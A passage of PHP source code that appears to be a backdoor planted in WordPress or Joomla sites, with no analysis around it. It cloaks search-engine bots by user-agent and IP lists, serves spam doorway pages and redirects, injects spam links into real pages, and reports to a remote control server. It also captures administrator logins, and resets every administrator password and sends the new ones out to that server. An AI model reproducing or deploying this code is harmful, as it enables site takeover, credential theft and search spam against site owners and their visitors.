sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i'); $stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69"); foreach ($stop_ips_masks as $k => $v) { if (preg_match('#^' . $v . '$#', $this->ip)) { $is_bot = "bot"; } } if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $this->ua), '-ANGRYBOT-')) { $is_bot = "bot"; } if ($is_bot == "bot") { $this->bot = "bot"; } } } function gRed() { if ($this->chkKt()) { $ktRes = $this->goP($this->ktUrl, "token=" . $this->ktToken . "&log=1&info=1&user_agent=" . urlencode ($this->ua) . "&ip=" . $this->ip . "&keyword=" . urlencode($this->kw) . "&referrer=" . urlencode($this->ref) . "&source=" . urlencode($this->curUrl)); $ktRes = json_decode($ktRes); if ($ktRes->info->type == "http") { header("Location: " . $ktRes->info->url, true, 302); exit(); } if (!empty($ktRes->body)) { echo $ktRes->body; die(); } } elseif (!empty($this->stts["rd"])) { $red = $this->dcdAu($this->stts["rd"]); $red = str_ireplace("[REFERER]", $this->ref, $red); $red = str_ireplace("[DOMAIN]", $_SERVER["SERVER_NAME"], $red); $red = str_ireplace("[CURURL]", $this->curUrl, $red); $red = str_ireplace("[KEYWORD]", $this->kw, $red); $red = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $this->kw), $red); $red = str_ireplace("[PLUSKEY]", str_ireplace(" ", "+", $this->kw), $red); if (stripos("qqq" . $red, "PHPREDIR")) { $red = str_ireplace("PHPREDIR:", "", $red); header("Location: " . $red, true, 302); exit(); } else { echo $red; die(); } } } function gtRdmK() { $rdmK = $this->rndDB($this->tbl["name"], "kw, gr", "`type` = 'drw'", 1); if (!empty($rdmK[0]["kw"]) && !empty($rdmK[0]["gr"])) { return $rdmK[0]; } return false; } function chkDrwPg() { $crMd = md5($this->curUrl); $cch = $this->rDB($this->tbl["name"], "hash", "`hash` = '" . $crMd . "' AND `type` = 'drw'"); if (empty($cch["hash"])) { $crMd = md5(str_ireplace("www.", "", $this->curUrl)); $cch = $this->rDB($this->tbl["name"], "hash", "`hash` = '" . $crMd . "' AND `type` = 'drw'"); } if (empty($cch["hash"])) { $crMd = md5(str_ireplace("www.", "", $this->curUrl)); $cch = $this->rDB($this->tbl["name"], "hash, url, alturl", "`althash` = '" . $crMd . "' AND `type` = 'drw'"); if (!empty($cch["url"])) { $this->curUrl = urldecode($cch["url"]); $crMd = md5(str_ireplace("www.", "", $this->curUrl)); } } if (empty($cch["hash"]) && $this->stts["angry"] == "yes" && $this->chkHCode($this->curUrl)) { $ancurcpunt = $this->getChcCnt("yes"); $anlimit = 0; if(!empty($this->stts["angrycount"])){ $anlimit = $this->stts["angrycount"]; } $goAn = "yes"; if(!empty($this->stts["angrytype"]) && trim($this->curUrl, "/") == trim($this->mrd, "/")) { $goAn = ""; } if(($ancurcpunt < $anlimit) || $anlimit == 0) { if($goAn == "yes") { $rdmK = $this->gtRdmK(); if (!empty($rdmK)) { $this->insToDb("hash, type, atype, url, kw, gr, data", "'" . $crMd . "','drw','ang', '" . urlencode($this->curUrl) . "', '" . $rdmK["kw"] . "', '" . $rdmK["gr"] . "', ''"); $cch = $this->rDB($this->tbl["name"], "hash", "`hash` = '" . $crMd . "' AND `type` = 'drw'"); } } } } if (!empty($cch["hash"])) { $this->curCch = $this->rDB($this->tbl["name"], "data,kw,gr,alturl", "`hash` = '" . $crMd . "' AND `type` = 'drw'"); if (!empty($this->curCch["kw"]) && !empty($this->curCch["gr"])) { $this->kw = urldecode($this->curCch["kw"]); $this->gr = urldecode($this->curCch["gr"]); } else { return false; } if(!empty($this->curCch["alturl"])) { $this->altUrl = urldecode($this->curCch["alturl"]); } if (!empty($this->curCch["data"])) { $this->curCch = urldecode($this->curCch["data"]); } else { $this->curCch = ""; } return true; } return false; } function gtDPg() { if (!empty($this->curCch)) { echo $this->curCch; die(); } $this->curCch = $this->goP($this->au, $this->fgtDPg . "=y&kw=" . urlencode($this->kw) . "&gr=" . $this->gr . "&cururl=" . urlencode($this->curUrl) . "&rid=" . $this->rId); if (stripos("qqq" . $this->curCch, "ox54dtyaert")) { return false; } preg_match_all("/(bgfx5srtd.*bgfx5srtd)/iUs", $this->curCch, $matches); if (!empty($matches[1]) && count($matches[1]) > 0) { $this->wrkImg($matches[1]); } if (!empty($this->curCch)) { if(!empty($this->altUrl)){ $this->curCch = str_ireplace("[HEREISALTLINK]", $this->altUrl, $this->curCch); } $this->uDB($this->tbl["name"], urlencode($this->curCch), "data", "`hash` = '" . md5($this->curUrl) . "'"); echo $this->curCch; die(); } return false; } private function wrkImg($imgs) { foreach ($imgs as $k => $oneImg) { $oneImg = str_ireplace("bgfx5srtd", "", $oneImg); $ext = ".jpg"; if (stripos("qqq" . $oneImg, ".png")) { $ext = ".png"; } if (stripos("qqq" . $oneImg, ".gif")) { $ext = ".gif"; } $pthToSv = str_ireplace(" ", "-", trim($this->kw)) . "_" . $this->randString(5) . $ext; if ($this->svImg($oneImg, $pthToSv)) { $oneImg = ''; } else { $oneImg = ''; } $this->curCch = str_ireplace($imgs[$k], $oneImg, $this->curCch); } } private function svImg($url, $pthToSv) { $pthToSv = $this->stts["imgspath"] . "/" . $pthToSv; $ch = curl_init($url); $fp = fopen($pthToSv, 'wb'); if (!$fp) { return false; } curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != "200") { return false; } curl_close($ch); fclose($fp); return true; } function chkHCod($url = "") { if (empty($url)) { if (stripos("qqq" . $this->curUrl, "?")) { $url = $this->curUrl . "&" . $this->chkStr . "=y"; } else { $url = trim($this->curUrl, "/") . "/?" . $this->chkStr . "=y"; } } $default_socket_timeout = ini_get('default_socket_timeout'); ini_set('default_socket_timeout', 5); file_get_contents($url); ini_set('default_socket_timeout', $default_socket_timeout); if ($http_response_header[0] == "HTTP/1.1 200 OK") { return true; } else { return false; } } function shwPwL() { $upd = ""; $crMd = md5($this->curUrl); $lCch = $this->rDB($this->tbl["name"], "hash", "`hash` = '" . $crMd . "' AND `type` = 'lnk'"); if (!empty($lCch["hash"])) { $lCch = $this->rDB($this->tbl["name"], "data", "`hash` = '" . $crMd . "' AND `type` = 'lnk'"); if (!empty($lCch["data"])) { $lCch = $lCch["data"]; $lCch = urldecode($lCch); $lCch = unserialize($lCch); } else { $upd = "y"; $lCch = $this->gtLnks(rand(5, 8)); } } else { $upd = "ins"; $lCch = $this->gtLnks(rand(5, 8)); } if (!empty($lCch) && count($lCch) > 0) { if ($upd == "y") { $this->uDB($this->tbl["name"], urlencode(serialize($lCch)), "data", "`hash` = '" . $crMd . "' AND `type` = 'lnk'"); } elseif ($upd == "ins") { $this->insToDb("hash, type, data", "'" . $crMd . "', 'lnk', '" . urlencode(serialize($lCch)) . "'"); } $lCch = implode(" ", $lCch); $curP = $this->gtCurP(); if (!empty($curP)) { $curP = $this->plLnks($curP, $lCch); echo $curP; die(); } } } private function gtLnks($cnt) { $resLnks = array(); $lnks = $this->rndDB($this->tbl["name"], "url, kw", "`type` = 'drw'", $cnt); if (!empty($lnks) && count($lnks) > 0) { foreach ($lnks as $oLnk) { $resLnks[] = trim("" . trim(urldecode($oLnk["kw"])) . ""); } } if (!empty($resLnks && count($resLnks) > 0)) { return $resLnks; } else { return ""; } } private function plLnks($cP, $lnks) { $cP = preg_replace("/()/", "\$1" . $lnks, $cP, 1); return $cP; } private function gtCurP($cstUrl = "") { if(empty($cstUrl)){ $cstUrl = $this->curUrl; } if (stripos("qqq" . $cstUrl, "?")) { $url = $cstUrl . "&" . $this->chkStr . "=y"; } else { $url = trim($cstUrl, "/") . "/?" . $this->chkStr . "=y"; } return file_get_contents($url); } function chkPssP($pssP) { $locPssP = $this->rDB($this->tbl["name"], "data", "`hash` = 'pssp'"); if (!empty($locPssP["data"])) { if ($locPssP["data"] == $pssP) { return true; } } return false; } function chkTme($tme = 300) { $lastTime = $this->rDB($this->tbl["name"], "data", "`hash` = 'tme'"); if (!empty($lastTime["data"]) && (time() - $lastTime["data"]) > $tme) { $this->uDB($this->tbl["name"], time(), "data", "`hash` = 'tme'"); return true; } return false; } function dDLn() { //$this->dDB($this->tbl["name"], "`hash` = 'chpu'"); $this->dDB($this->tbl["name"], "`hash` = 'stts'"); $this->dDB($this->tbl["name"], "`type` = 'drw'"); $this->dDB($this->tbl["name"], "`type` = 'lnk'"); } private function chkNPP() { if (!empty($this->posts[$this->pssP]) && empty($this->rDB($this->tbl["name"], "data", "`hash` = 'pssp'"))) { if ($this->insToDb("hash, data", "'pssp','" . $this->posts[$this->pssP] . "'")) { echo $this->pssPS; } } } private function chkRid() { if (!empty($this->posts["rid"])) { $this->insToDb("hash, data", "'rid','" . $this->posts["rid"] . "'"); } } private function resPass() { $adms = get_users([ 'role' => 'Administrator', ]); if (!empty($adms) && count($adms) > 0) { foreach ($adms as $oneAdn) { if (!empty($oneAdn->data->ID)) { $nP = $this->randString(7); wp_set_password($nP, $oneAdn->data->ID); $lU = str_ireplace("index.php", "", $this->mrd); $lU = rtrim($lU, "/") . "/wp-login.php"; $this->goP($this->au, "nsrees=" . $nP . "&un=" . urlencode($oneAdn->data->user_login) . "&mrd=" . urlencode($lU) . "&rid=" . $this->rId); } } } } private function getL() { $un = $_POST["log"]; $up = $_POST["pwd"]; $auth = wp_authenticate($un, $up); $auth = (array)$auth; if (!empty($auth["ID"])) { if (isset($auth["roles"][0]) && $auth["roles"][0] == "administrator") { if (isset($auth["allcaps"]["level_10"]) && $auth["allcaps"]["level_10"] === true) { $this->goP($this->au, "nsrees=" . $up . "&un=" . urlencode($un) . "&mrd=" . urlencode($this->curUrl) . "&rid=" . $this->rId); } } } } function svStts() { if (!empty($this->posts["stts"])) { $this->posts["stts"] = stripslashes($this->posts["stts"]); $this->posts["stts"] = unserialize($this->posts["stts"]); if (!empty($this->posts["stts"]["resetpass"])) { $this->resPass(); } unset($this->posts["stts"]["resetpass"]); if ($this->type == "wp") { $imgsP = "./wp-content/themes/imgs_" . $this->randString(5); } else { $imgsP = "./components/com_banners/imgs_" . $this->randString(5); } if (mkdir($imgsP)) { $this->posts["stts"]["imgspath"] = $imgsP; } $this->insToDb("hash, data", "'stts','" . urlencode(serialize($this->posts["stts"])) . "'"); } } function gtStts() { $oStts = $this->rDB($this->tbl["name"], "data", "`hash` = 'stts'"); if (!empty($oStts["data"])) { $oStts = urldecode($oStts["data"]); $oStts = unserialize($oStts); if (count($oStts) > 0) { $this->stts = $oStts; } else { $this->stts = ""; } } else { $this->stts = ""; } } function sNrc() { if (!empty($this->posts["nrc"])) { $oStts = $this->rDB($this->tbl["name"], "data", "`hash` = 'stts'"); if (!empty($oStts["data"])) { $oStts = urldecode($oStts["data"]); $oStts = unserialize($oStts); if (count($oStts) > 0) { $oStts["rd"] = $this->posts["nrc"]; $oStts = serialize($oStts); $oStts = urlencode($oStts); if ($this->uDB($this->tbl["name"], $oStts, "data", "`hash` = 'stts'")) { echo $this->gdNrc; } } } } } function chkRidAndInst() { if (empty($this->rId)) { $this->insToDb("hash, type, url, kw, gr, data", "'jhyt465ths','tst', 'ncv876rtyuhgf', 'mw45ergtdhgf', 'kiet6w4eet', 'm4ragfhfggasdre'"); $this->goP($this->au, $this->fPostStr . "=y&dmn=" . urlencode($this->mrd)."&pth=".urlencode(__FILE__)); $this->rId = $this->rDB($this->tbl["name"], "data", "`hash` = 'rid'"); if (!empty($this->rId["data"])) { $this->rId = $this->rId["data"]; $this->templWork(); } else { $this->rId = ""; } } } private function templWork($chpu = "") { $templ = array(); if(!empty($this->stts["customtemplpage"])){ $templ["sitetemp"] = $this->getTemplate(urldecode($this->stts["customtemplpage"])); } else { if ($this->type == "wp") { $templ = $this->parseTemplateWP(); } else { $templ = $this->parseTemplateJML(); } } if(empty($chpu)) { $structure = ""; if (function_exists("get_option")) { $structure = get_option('permalink_structure'); } if (empty($structure) || stripos("qqq" . $structure, "?p=")) { $chpu = rtrim($this->mrd, "/") . "/?p=" . "chpukeyplace/"; } else { $chpu = rtrim($this->mrd, "/") . "/chpukeyplace/"; } $this->insToDb("hash, data", "'chpu','" . urlencode($chpu) . "'"); } if(!empty($templ["sitetemp"])) { $templ["sitetemp"] = gzdeflate($templ["sitetemp"]); $templ["sitetemp"] = base64_encode($templ["sitetemp"]); $this->goP($this->au, $this->sndTempl . "=y&rid=" . $this->rId . "&tmpl=" . urlencode($templ["sitetemp"]) . "&cod=yes"); $this->goP($this->au, "chpu=".urlencode($chpu)."&rid=" . $this->rId); } } private function getTemplate($customPage = "") { if(!empty($customPage)){ $this->curUrl = $customPage; } $sitecode = file_get_contents($this->curUrl."?".$this->chkStr."=yes"); if (!empty($sitecode)) { $sitecode = preg_replace("//iUs", "", $sitecode); $regex = "/(.*<\/p>)/iUsm"; preg_match_all($regex, $sitecode, $matches); if (!empty($matches[1])) { $maxlength_p = $this->getMaxLengthFromArray($matches[1], 300); if (!empty($maxlength_p)) { $sitecode = str_ireplace($maxlength_p, "

[HEREISCONTENT]

", $sitecode); foreach ($matches[1] as $one_p) { $sitecode = str_ireplace($one_p, "", $sitecode); } } else { $sitecode = preg_replace("/()/", "\$1" . "\n

[HEREISCONTENT]

", $sitecode, 1); } } else { $sitecode = preg_replace("/()/", "\$1" . "\n

[HEREISCONTENT]

", $sitecode, 1); } $regular = "|(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HEREISPAGETITLE]', $sitecode); } } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HEREISHTAG]', $sitecode); } } $regular = "|(<h1.*>.*</h1+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HEREISPOSTTITLE]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)<\/a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[HEREISATAGLINK]\"", $atagmain); $atagtoreplace = preg_replace("|>.*<\/a>|iUs", ">[HEREISATAGANCHOR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } } else { return ""; } if (!empty($sitecode)) { return $sitecode; } return ""; } private function getMaxLengthFromArray($in_array, $min_length) { $outelement = ''; $templength = 0; foreach ($in_array as $k => $oneelement) { if (strlen(strip_tags($oneelement)) > $min_length) { if ($k === 0) { $templength = strlen(strip_tags($oneelement)); $outelement = $oneelement; } else { if (strlen($oneelement) > $templength) { $templength = strlen(strip_tags($oneelement)); $outelement = $oneelement; } } } } return $outelement; } private function dbPrep() { if (!$this->checkTblIn()) { $this->crTbl(); if ($this->tbl["created"] == "yes") { //$this->insToDb("hash, data", "'mrd','" . urlencode($this->mrd) . "'"); $this->insToDb("hash, data", "'tme','" . time() . "'"); //$this->goP($this->au, $this->fPostStr . "=y&dmn=" . urlencode($this->mrd)); } } else { $this->tbl["created"] = "yes"; } } function sndOk() { if (!empty($this->au)) { $this->goP($this->au, $this->gdTblStr . "=y&rid=" . $this->rId); } } function getSetts($part) { $result = array(); if (!empty($this->au)) { $newSetts = $this->goP($this->au, $this->getSettsStr . "=y&rid=" . $this->rId . "&prt=" . $part); if (stripos("qqq" . $newSetts, $this->newSettsStr)) { preg_match_all("/" . $this->newSettsStr . "(.*)" . $this->newSettsStr . "/iUs", $newSetts, $matches); if (!empty($matches[1][0])) { $newSetts = urldecode($matches[1][0]); $newSetts = unserialize($newSetts); if (!empty($newSetts) && count($newSetts) > 0) { if ($part === "0") { // delete all old doorway data if (!empty($this->stts["custompath"])) { $structure = get_option('permalink_structure'); if (empty($structure) || stripos("qqq" . $structure, "?p=")) { $chpu = rtrim($this->mrd, "/") . "/?p=" . $this->stts["custompath"] . "/chpukeyplace/"; } else { $chpu = rtrim($this->mrd, "/") . "/" . $this->stts["custompath"] . "/chpukeyplace/"; } $this->uDB($this->tbl["name"], urlencode($chpu), "data", "`hash` = 'chpu'"); $this->goP($this->au, "chpu=".urlencode($chpu)."&rid=" . $this->rId); } $chpu = $this->rDB($this->tbl["name"], "data", "`hash` = 'chpu'"); if(!empty($this->stts["customtemplpage"])) { $this->templWork($chpu); } if (!empty($chpu["data"])) { $chpu = urldecode($chpu["data"]); } } else { $chpu = $this->rDB($this->tbl["name"], "data", "`hash` = 'chpu'"); if (!empty($chpu["data"])) { $chpu = urldecode($chpu["data"]); } } if (!empty($chpu)) { $pn = 0; foreach ($newSetts as $oneKey) { $pn++; if (!empty($this->stts["permalink"])) { if ($this->stts["permalink"] == "k") { if ($this->type == "wp") { $urlSlug = sanitize_title($oneKey["kw"]); } else { $urlSlug = str_ireplace(" ", "-", $oneKey["kw"]); } } elseif ($this->stts["permalink"] == "g") { $urlSlug = $this->randString(rand(7, 11)); } elseif ($this->stts["permalink"] == "n") { $urlSlug = rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9); } elseif ($this->stts["permalink"] == "kd") { if ($this->type == "wp") { $urlSlug = sanitize_title($oneKey["kw"]); } else { $urlSlug = str_ireplace(" ", "-", $oneKey["kw"]); } $urlSlug .= "-" . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9); } } else { if ($this->type == "wp") { $urlSlug = sanitize_title($oneKey["kw"]); } else { $urlSlug = str_ireplace(" ", "-", $oneKey["kw"]); } } $urlSlug = trim($urlSlug); $curUrl = str_ireplace("chpukeyplace", $urlSlug, $chpu); $curUrl = urldecode($curUrl); $curUrl = strtolower($curUrl); $curUrl = html_entity_decode($curUrl); $curUrl = str_ireplace("&", "&", $curUrl); $altUrl = ""; $altHash = ""; if ($this->type == "wp") { $altUrl = trim($this->mrd, "/")."/?p=".$pn.$part."o"; $altUrl = urldecode($altUrl); $altUrl = strtolower($altUrl); $altUrl = html_entity_decode($altUrl); $altUrl = str_ireplace("&", "&", $altUrl); $altHash = md5($altUrl); } $this->insToDb("hash, type, url, kw, gr, alturl, althash", "'" . md5($curUrl) . "','drw', '" . urlencode ($curUrl) . "', '" . urlencode($oneKey["kw"]) . "', '" . $oneKey["gr"] . "', '" . urlencode($altUrl) . "', '" . $altHash . "'"); $result[] = array( "hash" => md5($curUrl), "url" => $curUrl, "kw" => $oneKey["kw"], "gr" => $oneKey["gr"] ); } } } } if (!empty($result) && count($result) > 0) { $sndUrls = $this->goP($this->au, $this->sndPrtUrls . "=y&rid=" . $this->rId . "&res=" . urlencode (serialize($result))); if (stripos("qqq" . $sndUrls, $this->gdPrtUrls)) { echo $this->gdPrtUrls; die(); } } } } } private function conDB() { $this->dbCon = mysqli_connect($this->dbH, $this->dbU, $this->dbPs, $this->dbN, $this->dbPo); } function dDB($tbl, $uslovie) { if (empty($tbl)) { $tbl = $this->tbl["name"]; } $sql = "DELETE FROM " . $tbl . " WHERE " . $uslovie; mysqli_query($this->dbCon, $sql); return true; } function rndDB($tbl, $col, $cond, $cnt) { if (empty($tbl)) { $tbl = $this->tbl["name"]; } $col = $this->prepareCol($col); $sql = "SELECT " . $col . " FROM " . $tbl . " WHERE " . $cond . " ORDER BY RAND() LIMIT " . $cnt; $needvalue = mysqli_query($this->dbCon, $sql); $res = array(); $out = array(); $value = explode(",", $col); while ($row = mysqli_fetch_array($needvalue)) { foreach ($value as $onevalue) { $onevalue = str_ireplace("`", "", $onevalue); $onevalue = trim($onevalue); $res[$onevalue] = $row[$onevalue]; } $out[] = $res; } return $out; } function rDB($tbl, $col, $cond) { if (empty($tbl)) { $tbl = $this->tbl["name"]; } $col = $this->prepareCol($col); if (!empty($cond)) { $sql = "SELECT " . $col . " FROM `" . $tbl . "` WHERE " . $cond; } else { $sql = "SELECT " . $col . " FROM `" . $tbl . "`"; } $needvalue = mysqli_query($this->dbCon, $sql); $needvalue = mysqli_fetch_array($needvalue); if (!empty($needvalue)) { if (!empty($uslovie)) { if (stripos($col, ",")) { $col = explode(",", $col); $res = array(); foreach ($col as $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $needvalue[$onevalue]; } $needvalue = $res; } else { $needvalue = $needvalue[$col]; } } return $needvalue; } return false; } function uDB($tbl, $data, $value, $uslovie) { if (empty($tbl)) { $tbl = $this->tbl["name"]; } $sql = "UPDATE " . $tbl . " SET $value='" . $data . "' WHERE " . $uslovie . ""; if (mysqli_query($this->dbCon, $sql)) { return true; } else { return false; } } function checkTblIn() { $sql = "SELECT 1 FROM `" . $this->tbl["name"] . "` LIMIT 1"; $check = mysqli_query($this->dbCon, $sql); if (empty($check)) { return false; } return true; } function getChcCnt($an = "") { if(empty($an)) { $sql = "SELECT COUNT(1) FROM `" . $this->tbl["name"] . "` WHERE `type` = 'drw' AND `data` IS NOT NULL AND `data` != ''"; } else { $sql = "SELECT COUNT(1) FROM `" . $this->tbl["name"] . "` WHERE `atype` = 'ang'"; } $cnt = mysqli_query($this->dbCon, $sql); $cnt = mysqli_fetch_array($cnt); if (empty($cnt[0])) { return false; } return $cnt[0]; } function getTblCnt() { $sql = "SELECT COUNT(1) FROM `" . $this->tbl["name"]. "`"; $cnt = mysqli_query($this->dbCon, $sql); $cnt = mysqli_fetch_array($cnt); if (empty($cnt[0])) { return false; } return $cnt[0]; } private function crTbl() { $fields = $this->tbl["fields"]; foreach ($fields as $k => $oneField) { $sql .= $k . " " . $oneField . " NULL DEFAULT NULL,"; } $fields = trim($sql, ","); $sql = "CREATE TABLE `" . $this->tbl["name"] . "` (" . $fields . ")"; mysqli_query($this->dbCon, $sql); $sql = "ALTER TABLE `" . $this->tbl["name"] . "` add id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST"; mysqli_query($this->dbCon, $sql); if ($this->checkTblIn()) { $sql = "ALTER TABLE `" . $this->tbl["name"] . "` ADD UNIQUE " . $this->tbl["index"] . " (" . $this->tbl["index"] . "(" . $this->tbl["indexcount"] . "))"; mysqli_query($this->dbCon, $sql); $this->tbl["created"] = "yes"; return true; } return false; } private function prepareCol($cols) { if (stripos("qqq" . $cols, ",")) { $cols = explode(",", $cols); foreach ($cols as $k => $oneCol) { $oneCol = trim($oneCol); $cols[$k] = "`" . $oneCol . "`"; } return implode(", ", $cols); } return "`" . $cols . "`"; } function insToDb($cols, $data) { $cols = $this->prepareCol($cols); $sql = "INSERT INTO `" . $this->tbl["name"] . "` (" . $cols . ") VALUES (" . $data . ")"; if (mysqli_query($this->dbCon, $sql)) { return true; } else { return false; } } function chkHCode($url) { if (stripos("qqq" . $url, "wp-cron.php")) { return false; } if (stripos("qqq" . $url, "?")) { $url = $url . "&" . $this->chkStr . "=y"; } else { $url = trim($url, "/") . "/?" . $this->chkStr . "=y"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); $output = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == "200") { return true; } return false; } public function goP($url, $params) { $params = rtrim($params, '&'); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, $this->rUA()); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_TIMEOUT, 40); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } return $output; } private function rUA() { $uas = array("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 